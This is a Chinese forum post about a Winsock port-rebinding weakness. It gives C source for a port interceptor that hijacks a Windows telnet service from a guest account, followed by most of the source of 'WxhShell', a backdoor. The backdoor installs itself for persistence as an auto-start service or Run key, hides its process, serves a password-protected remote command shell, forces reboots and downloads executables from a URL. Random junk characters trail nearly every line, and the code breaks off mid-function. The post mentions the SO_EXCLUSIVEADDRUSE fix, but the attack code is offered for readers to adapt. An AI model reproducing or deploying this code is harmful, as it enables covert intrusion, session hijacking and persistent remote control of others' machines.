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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L%is"NZh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1J"I.  
cr{yy :D  
  saddr.sin_family = AF_INET; `?(J(H  
]B=*p0~j^n  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Cd 2<r6i  
az0=jou<Zl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,#3Aaw   
PR:B6 F8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hQm=9gS  
`v``}8tm  
  这意味着什么?意味着可以进行如下的攻击: @Xl(A]w%!  
'WP~-}(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _uMG?Sbx  
aO&{.DO2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8^y=YUT  
 &kmaKc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y $v#>w_M  
)__sw  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A'z]?xQR  
t,|Apl]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K}re{y  
:p/=KI_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1Ys=KA-!_x  
E2>{ seZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A&t8C8,  
9S@x  
  #include Ne Y*l  
  #include E0+L?(;  
  #include ;7:} iKU  
  #include    Sc>mw   
  DWORD WINAPI ClientThread(LPVOID lpParam);   e72Fz#<q  
  int main() bTimJp[b  
  { FXJ0 G>F  
  WORD wVersionRequested; h@$SJe(hl  
  DWORD ret; n~ad#iN  
  WSADATA wsaData; t;w<n"  
  BOOL val; q=5aHH% |  
  SOCKADDR_IN saddr; vkTu:3Qe  
  SOCKADDR_IN scaddr; `KA==;0  
  int err; F8-GnT xa  
  SOCKET s; F,~BhKkbV  
  SOCKET sc; N)g_LL>^  
  int caddsize; auK9wQ%\  
  HANDLE mt; + m-88  
  DWORD tid;   %akW43cE  
  wVersionRequested = MAKEWORD( 2, 2 ); h#r~2\q4ei  
  err = WSAStartup( wVersionRequested, &wsaData ); ^t4^gcoZ4Z  
  if ( err != 0 ) { 7wx=#  
  printf("error!WSAStartup failed!\n");  (yP1}?  
  return -1; j;`Q82V\  
  } q"2APvsvp  
  saddr.sin_family = AF_INET; 3k/E$wOj  
   ,M3hE/rb/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D}y W:Pi'  
EO)JMV?6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zni9  
  saddr.sin_port = htons(23); P".}Y[GD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S2'ai  
  { 1<_][u@  
  printf("error!socket failed!\n"); R %RbC!P  
  return -1; ,@f"WrQ  
  } 5eff3qrH{  
  val = TRUE; L'{W|Xb+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C5dM`_3L  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 68u?}8}  
  { ]?VVwft  
  printf("error!setsockopt failed!\n"); <WIIurp  
  return -1; &!/>B .  
  } 8C*@d_=q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,.9lz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3Y38l P:>h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n5d8^c!2  
^>l <)$s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Mn ,hmIz  
  { h<%$?h+}  
  ret=GetLastError(); 7zw0 g~+  
  printf("error!bind failed!\n"); 9{;L7`<  
  return -1; GoybkwFjZ  
  } f9u=h}  
  listen(s,2); o:QL%J{[  
  while(1) 5wVJ.B~s  
  { 8C3oi&av/{  
  caddsize = sizeof(scaddr); i RrUIWx  
  //接受连接请求 \bdKLcKI,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \"ahs7ABT  
  if(sc!=INVALID_SOCKET) 06Wqfzceb  
  { %9>w|%+;U+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nDraX_sm=  
  if(mt==NULL) Y ]()v  
  { =8 @DYz'  
  printf("Thread Creat Failed!\n"); 8HKv_vl  
  break; P'8RaO&d  
  } -b^dK)wR~  
  } hb; CpA  
  CloseHandle(mt); _" 9 q(1  
  } qa^cJ1@  
  closesocket(s); ^~V2xCu!  
  WSACleanup(); htbE Q NW  
  return 0; Nt $4;  
  }    _ VuWo  
  DWORD WINAPI ClientThread(LPVOID lpParam) ExtC\(X;  
  { rn)Gx2 5  
  SOCKET ss = (SOCKET)lpParam; 9 ~W]D!m,  
  SOCKET sc; L/rf5||@  
  unsigned char buf[4096]; rB".!b  
  SOCKADDR_IN saddr; vgy.fP"@  
  long num; D-{*3?x  
  DWORD val; *S*49Hq7c  
  DWORD ret; x,mt}>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rNV3-#kU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *90dkJZ.  
  saddr.sin_family = AF_INET; .4v?/t1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q~> +x?30  
  saddr.sin_port = htons(23); Ni>Ns=n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oVK:A;3T|  
  { 3 zh:~w_  
  printf("error!socket failed!\n"); \Vx^u}3O  
  return -1; H-pf8  
  } =i  vlS  
  val = 100; !nl-}P,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zn-=mk;W  
  { I^A>YJW  
  ret = GetLastError(); 1J9p1_d5  
  return -1; EmT_T 3v  
  } |j0_^:2r=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :7LA/j  
  { \ 86 g y/  
  ret = GetLastError(); Ua \f]y  
  return -1; 3=n6N TL  
  } 0+iRgnd9?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c #{|sR5  
  { "T=j\/Q  
  printf("error!socket connect failed!\n"); AwG0E `SU  
  closesocket(sc); 8i[TeW"  
  closesocket(ss); R*bx&..<  
  return -1; lU!_V%n  
  } f@;pN=PS  
  while(1) w? _8OJ  
  { O=bkq}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [4#HuO@h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PpFQoY7M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /(8"]f/  
  num = recv(ss,buf,4096,0); 3T.V*&  
  if(num>0) 05H:ZrUV  
  send(sc,buf,num,0); Zo2+{a  
  else if(num==0) X[.%[G|oj}  
  break; c!\T 0XtT  
  num = recv(sc,buf,4096,0); {v'eP[  
  if(num>0) z&H.fsL  
  send(ss,buf,num,0); +#wVe  
  else if(num==0) s~Ivq+ipr;  
  break; cz IEkm  
  } h^rG5Q  
  closesocket(ss); ykbfK$j z  
  closesocket(sc); #"-_~  
  return 0 ; .b_ppieNY  
  } C<teZz8/w  
]a/dvj}  
i45.2,  
========================================================== F#|y,<}<  
KgM|:'  
下边附上一个代码,,WXhSHELL ZgEV-.>P  
a^LckHPI>  
========================================================== 3q`f|r  
Vq0X:<9  
#include "stdafx.h" EE]xZz>o  
5)Z=FUupA~  
#include <stdio.h> w!<e#Z]3b  
#include <string.h> .X3n9]  
#include <windows.h> EXeV @kg  
#include <winsock2.h> Mhn1-ma:  
#include <winsvc.h> u\ 7Y_`8  
#include <urlmon.h> [?N,3  
`=pA;R9  
#pragma comment (lib, "Ws2_32.lib") 5yt=~  
#pragma comment (lib, "urlmon.lib") wg[ +NWJ  
`Eg X#  
#define MAX_USER   100 // 最大客户端连接数 %?n=I n(F  
#define BUF_SOCK   200 // sock buffer k(Xs&f `  
#define KEY_BUFF   255 // 输入 buffer @BLB.=  
)6%*=-  
#define REBOOT     0   // 重启 '2Zs15)V  
#define SHUTDOWN   1   // 关机 *J^FV^E``  
FWeUZI+  
#define DEF_PORT   5000 // 监听端口 #Ev}Gf+5Q  
MzB.Vvsy%9  
#define REG_LEN     16   // 注册表键长度 *PlKl_nP6  
#define SVC_LEN     80   // NT服务名长度 f {2UL ?y  
BYdG K@ouk  
// 从dll定义API "uuM#@h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z0H_l/g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +pSo(e(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eb}XooX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g]h@U&`~u_  
LkHH7Pd@  
// wxhshell配置信息 ylos6]zS8  
struct WSCFG { |8{ k,!P'K  
  int ws_port;         // 监听端口 'wFhfZB1!B  
  char ws_passstr[REG_LEN]; // 口令 fX:q ]  
  int ws_autoins;       // 安装标记, 1=yes 0=no " ]k}V2l  
  char ws_regname[REG_LEN]; // 注册表键名 .= ~2"P  
  char ws_svcname[REG_LEN]; // 服务名 /zh:7N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g:~q&b[q6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VFawASwQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tc.|mIvw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0?t;3 z$n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0VQBm^$(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 61QA<Wb  
;=@O.iF;H  
}; 4sSw7`  
88:YU4:l`N  
// default Wxhshell configuration m["e7>9G  
struct WSCFG wscfg={DEF_PORT, *GYLj[  
    "xuhuanlingzhe", O0rvr$.  
    1, WU=EJY}#n  
    "Wxhshell", dpchZ{  
    "Wxhshell", ~G8l1dD  
            "WxhShell Service", j0oto6z~b  
    "Wrsky Windows CmdShell Service", .KG9YGL#  
    "Please Input Your Password: ", |Wck-+}U  
  1, XySkm2y  
  "http://www.wrsky.com/wxhshell.exe", (qR;6l  
  "Wxhshell.exe" ze9n}oN  
    }; x ]}'H  
6yUThv.G#  
// 消息定义模块 {4SaS v^/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e]>=;Zn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,hJx3g5#n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?Qd`Vlp7  
char *msg_ws_ext="\n\rExit."; 9 4bDJy1  
char *msg_ws_end="\n\rQuit."; 6)=;cc{Vr  
char *msg_ws_boot="\n\rReboot..."; IDF0nx]  
char *msg_ws_poff="\n\rShutdown..."; T ;84Sv  
char *msg_ws_down="\n\rSave to "; E}%Pwr  
3rZPVR$))  
char *msg_ws_err="\n\rErr!"; ;B2&#kot7  
char *msg_ws_ok="\n\rOK!"; sqF.,A,  
K5bR7f:  
char ExeFile[MAX_PATH]; !Q_Kil.9  
int nUser = 0; 4_2oDcdf  
HANDLE handles[MAX_USER]; \Js*>xA  
int OsIsNt; j p}.W  
p|qLr9\A  
SERVICE_STATUS       serviceStatus; 3HR)H-@6@7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Fsq)co  
-sf[o"T,j  
// 函数声明 k[pk R{e  
int Install(void); =],c$)  
int Uninstall(void); $z)egh(z  
int DownloadFile(char *sURL, SOCKET wsh); F#Pn]  
int Boot(int flag); 4/\Ynb.L  
void HideProc(void); 5i{J0/'Xu)  
int GetOsVer(void); T^+K`U  
int Wxhshell(SOCKET wsl); |FaK =e  
void TalkWithClient(void *cs); =d~pr:.F  
int CmdShell(SOCKET sock); vKPLh   
int StartFromService(void); #/9Y}2G|]  
int StartWxhshell(LPSTR lpCmdLine); D8B\F5..c#  
; %AgKgV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zs0;92WL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zn*W2s^^{  
w .M  
// 数据结构和表定义 DH$Nz  
SERVICE_TABLE_ENTRY DispatchTable[] = DuAix)#FN9  
{ RxPD44jVA  
{wscfg.ws_svcname, NTServiceMain}, 6v}q @z  
{NULL, NULL} p}I\H ^"8+  
}; xr Ne:Aj  
Mw+ l>92  
// 自我安装 3*7klu  
int Install(void) Wy1.nn[  
{ e<A>??h^  
  char svExeFile[MAX_PATH]; |z@AvS[  
  HKEY key; C[ KMaB  
  strcpy(svExeFile,ExeFile); BlT)hG(M>  
KL(s Vj^e  
// 如果是win9x系统,修改注册表设为自启动 ^*y 1Fn0  
if(!OsIsNt) { +#UawYLJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  C !v%6[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DtS7)/<T  
  RegCloseKey(key); 4}0YLwgJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,N_V(Cx5pt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #IqRu:csp  
  RegCloseKey(key); Z;R/!Py.  
  return 0; >wYmx4W>  
    } DV({! [EP  
  } g38 MF  
} vkYiO]y  
else { Y2ON!Rno  
@b5$WKPX  
// 如果是NT以上系统,安装为系统服务 AEFd,;GF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oj?y_0}:^  
if (schSCManager!=0) |Z o36@s  
{ %\'G2  
  SC_HANDLE schService = CreateService :UKc:JVNM  
  ( #c/K.?  
  schSCManager, ycIcM~<4  
  wscfg.ws_svcname, 8{&.[S C7  
  wscfg.ws_svcdisp, cs:?Wq ^  
  SERVICE_ALL_ACCESS, 931GJA~g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~Kt+j  
  SERVICE_AUTO_START, x A*6Z)Y  
  SERVICE_ERROR_NORMAL, v}!^RW 'X  
  svExeFile, (v0Q.Q@ <  
  NULL, yS?5&oMl  
  NULL, Cnu])R  
  NULL, lEQj62zIQ  
  NULL, {8;}y[R  
  NULL 7#N= GN  
  ); ~xJr|_,gp  
  if (schService!=0) (\ |Go-2G  
  {  ME5M;bz(  
  CloseServiceHandle(schService); d7Cs a c  
  CloseServiceHandle(schSCManager); uE%2kB*]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4^ 0CHy  
  strcat(svExeFile,wscfg.ws_svcname); 9m"EY@-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }1a(*s,s-^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ( p CU:'"  
  RegCloseKey(key); NUuIhB+  
  return 0; }4,[oD  
    } g\49[U}[~F  
  } B" ]a8}u  
  CloseServiceHandle(schSCManager); R_:lp\S&  
} :pvVm>  
} OSh'b$Z  
}_+):<Db  
return 1; Io /;+R .  
} x%dVD  
Hr}\-$  
// 自我卸载 u&f|z9  
int Uninstall(void) *m'&<pg]X  
{ XHJ/211  
  HKEY key; *iSE)[W  
:o:/RRp[  
if(!OsIsNt) { oy=ej+:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 :{+{Yl7  
  RegDeleteValue(key,wscfg.ws_regname); J'wJe,  
  RegCloseKey(key); {X nBj}C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TyR@3H  
  RegDeleteValue(key,wscfg.ws_regname); k~QmDq  
  RegCloseKey(key); SEM- t   
  return 0; g/i.b&  
  } Q[T)jo,j%  
} iqWkhJphv  
} A#F6~QX(.9  
else { \M Av's4b@  
MTbCL53!-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c'bh`H4  
if (schSCManager!=0) O4^' H}*  
{ qE6D"+1y7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P;IM -]  
  if (schService!=0) !H9zd\wc  
  { D3+<16[,  
  if(DeleteService(schService)!=0) { OskQ[ e0  
  CloseServiceHandle(schService); *M$$%G(4  
  CloseServiceHandle(schSCManager); &mba{O  
  return 0; ndvt $*  
  } vU#>3[aC  
  CloseServiceHandle(schService); }fhGofN$e  
  } 3Z}KRsp3  
  CloseServiceHandle(schSCManager); a,xy3 8T<  
} 9G[t &r  
} SU.$bsu  
v#5hK<9  
return 1; r;"Qu  
} u*T#? W?  
E8aD[j[w  
// 从指定url下载文件 ]-OF3+l4  
int DownloadFile(char *sURL, SOCKET wsh) )qDV3   
{ rFW,x_*_vP  
  HRESULT hr;  {C%f~j  
char seps[]= "/"; uJ3*AO  
char *token; 7aHP;X~0  
char *file; * YLp C^&  
char myURL[MAX_PATH]; L~Xzo  
char myFILE[MAX_PATH]; lQ2vQz-J  
}~v0o# I  
strcpy(myURL,sURL); ;F /w&u.n  
  token=strtok(myURL,seps); jGDuKb@:  
  while(token!=NULL) J2!)%mF$  
  { w!Ii   
    file=token; ERfSJ  
  token=strtok(NULL,seps); VexQ ]  
  } h0-CTPQ7A  
NV\{$*j(|J  
GetCurrentDirectory(MAX_PATH,myFILE); 80LN(0?x  
strcat(myFILE, "\\"); 3AcDW6x|  
strcat(myFILE, file); \"+}-!wr  
  send(wsh,myFILE,strlen(myFILE),0); jZ,=tF  
send(wsh,"...",3,0); K6nNrd}p:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kM7 6?M  
  if(hr==S_OK) Ge*N%=MX 8  
return 0; "l(<<Ha/  
else cu4|!s`#  
return 1; .h@bp1)l  
a.XMeB  
} !*,m=*[3  
rxeOT# N}  
// 系统电源模块 ;4*mUD6  
int Boot(int flag) KN.WTaO  
{ p<Vj<6.=?  
  HANDLE hToken; R1Q~UX]d=  
  TOKEN_PRIVILEGES tkp; "iuNYM5 P  
[XD3}'Aa  
  if(OsIsNt) { ]q|U0(q9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $T*g@]   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [h0)V(1KR  
    tkp.PrivilegeCount = 1; 2-rfFqpe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zoau5t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wkD"EuW(  
if(flag==REBOOT) { }t1J`+x%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jjg[v""3|  
  return 0; W'5c%SI  
} %p^`,b}  
else { ;@<e]Ft  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JzkI!5c<j  
  return 0; L ?S#3@Pa  
} @.h;k4TD  
  } G=m18Bv{  
  else { FivqyT7i  
if(flag==REBOOT) { ^7Z.~A y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %5<Xa  
  return 0; %WFZ&>en&  
} -K0!wrKC  
else { BBj>ML\X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kp,$ NfD  
  return 0; gnw?Y 2  
} v3r<kNW_  
} P?<G:]W  
=la~D]T*g  
return 1; }IV=qW,  
} <p#+('N`  
B?;P:!/1  
// win9x进程隐藏模块 #6 M3BF  
void HideProc(void) 9*? i89T  
{ :Mq{ES%  
o3oTu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (CY#B%*  
  if ( hKernel != NULL ) G g{M  
  { pUeok+k_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BB? 4>#D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u9R@rQ9r  
    FreeLibrary(hKernel); p^ )iC&*0  
  } mfr7w+DK  
--F6n/>  
return; WI-I+0sE  
} J|DY /v  
Vv*](iM  
// 获取操作系统版本 (A~w IKY,  
int GetOsVer(void) }} zY]A  
{ v=E(U4v9e  
  OSVERSIONINFO winfo; T!t9`I0Zz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bA/'IF+  
  GetVersionEx(&winfo); />V& OX `  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `~2I  
  return 1; IkgRZ{Y  
  else Lwkl*  
  return 0; [(Ihue  
} uQz!of%x  
6~a4-5;>z  
// 客户端句柄模块 =8Gpov1!V~  
int Wxhshell(SOCKET wsl) (vwKC D&  
{ N$<R6DU]K  
  SOCKET wsh; lZ?YyRsa6&  
  struct sockaddr_in client; Tvd: P^ C  
  DWORD myID; p4z thdN[  
Up\ k67  
  while(nUser<MAX_USER) >yqFO  
{ B$_-1^L e  
  int nSize=sizeof(client); yG,uD!N]|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @$5= 4HA  
  if(wsh==INVALID_SOCKET) return 1; .:B;%*  
`':G92}#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qzi i[Mf  
if(handles[nUser]==0) y`8jz,&.  
  closesocket(wsh); KDLrt  
else *)s^+F 0  
  nUser++; 3% O[W  
  } )Qh*@=$-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); > QG@P  
yhd]s0(!  
  return 0; & DhdB0Hjf  
} QNGp+xUHJ9  
B9S@G{`  
// 关闭 socket +w8$-eFY  
void CloseIt(SOCKET wsh) /NQ PTr  
{ %g~zE a-g  
closesocket(wsh); Sn[/'V^$a  
nUser--; 96<0=   
ExitThread(0); ;e6- *  
} S#S&_#$`,X  
pg{cZ1/  
// 客户端请求句柄 KxQMPtHstz  
void TalkWithClient(void *cs) % \Mc6  
{ F[]6U/g n  
05o<fa2HE  
  SOCKET wsh=(SOCKET)cs; R_Z 9aQ  
  char pwd[SVC_LEN]; UD ;UdehC  
  char cmd[KEY_BUFF]; nRs:^Q~o  
char chr[1]; DC2[g9S>8@  
int i,j; xpBQ(6Y  
ZNJ<@K-  
  while (nUser < MAX_USER) { *s|'V+1  
lg*?w/JX+  
if(wscfg.ws_passstr) { OtoG,~?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DSK?7F$_oE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "b\@.7".  
  //ZeroMemory(pwd,KEY_BUFF); Uz%2{HB@{  
      i=0; <aY>fg d/1  
  while(i<SVC_LEN) { {TaYkuWS  
ogJ *  
  // 设置超时 &!B4v<#,U  
  fd_set FdRead; 3zMaHh)mj  
  struct timeval TimeOut; -x-EU#.G  
  FD_ZERO(&FdRead); \w)ddc!ZS  
  FD_SET(wsh,&FdRead); p;~oIy\,  
  TimeOut.tv_sec=8; x;A.Ll  
  TimeOut.tv_usec=0; GIhFOK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); okTqq=xd`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EF'8-*  
/ACau<U]t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e<+b?@}=B  
  pwd=chr[0]; Wu'9ouw!  
  if(chr[0]==0xd || chr[0]==0xa) { ^7YZ>^  
  pwd=0; }4kQu#0o")  
  break; ubM  N  
  } l YpoS  
  i++; ~bz$]o-<  
    } co-1r/ -O  
"G@(Cb*+T  
  // 如果是非法用户,关闭 socket FSYs1Li_C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hp@F\9j  
} ?%$~Bb _  
Xq}}T%jcd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #X2wy$GTG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nK#%Od{GF  
dnkHx  
while(1) { 15d'/f  
k t+h\^g  
  ZeroMemory(cmd,KEY_BUFF); 0S$TLbx  
v7,-Q*  
      // 自动支持客户端 telnet标准   Xh}G=1}  
  j=0; ua,!kyS  
  while(j<KEY_BUFF) { LuVL <W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j{6O:d6([$  
  cmd[j]=chr[0]; t+D= @"BZP  
  if(chr[0]==0xa || chr[0]==0xd) { }:(;mW8 D  
  cmd[j]=0; `cPZsL  
  break; Q=Liy@/+!  
  }  /#zs  
  j++; O+]'*~a  
    } Adgfo)X5  
ay]l\d2!3  
  // 下载文件 j1=su~  
  if(strstr(cmd,"http://")) { 35L\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pk=0pHH8q  
  if(DownloadFile(cmd,wsh)) tToP7q^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =MwR)CI#  
  else [}l#cG6 k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Qn>K   
  } TeFi[1  
  else { $:&b5=i  
}$LnjwM;,  
    switch(cmd[0]) { 2w fkXS=~6  
  POf xN.  
  // 帮助 D[)_ f  
  case '?': { NMUF)ksjN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t%Bh'HkG  
    break; $F NH:r<  
  } [I/ZzDMX  
  // 安装 PcI~,e%  
  case 'i': { 8,(--A  
    if(Install()) .o]9 HbIk5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x+b.9f4xJ  
    else [z!pm-Ir  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w| ahb  
    break; ZrB(!L~7  
    } [Y j: H  
  // 卸载 Ao#bREm  
  case 'r': { 6OqF-nso[E  
    if(Uninstall()) HE>V\+ AL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _9q byhS7  
    else #^(Yw|/K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q$sC%P(y  
    break; 6cD3(//  
    } c'mg=jH  
  // 显示 wxhshell 所在路径 N-q6_  
  case 'p': { fIJX5)D  
    char svExeFile[MAX_PATH]; p,!IPWo  
    strcpy(svExeFile,"\n\r"); [f}`reRlZ  
      strcat(svExeFile,ExeFile); mF UsTb]f  
        send(wsh,svExeFile,strlen(svExeFile),0); $wDSED -  
    break; YL78cWOs  
    } L >)|l  
  // 重启 #Nad1C/]  
  case 'b': { G(BSe`f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2p4iir  
    if(Boot(REBOOT)) <":83RCS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +ej5C:El_}  
    else { >V4r '9I  
    closesocket(wsh); J _q  
    ExitThread(0); 2cSc 8  
    } *`LrvE@t  
    break; {fjBa,o #  
    } MWK)Bn  
  // 关机 {Ppb ;  
  case 'd': { >[:qJ|i%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P&<NcOCL&  
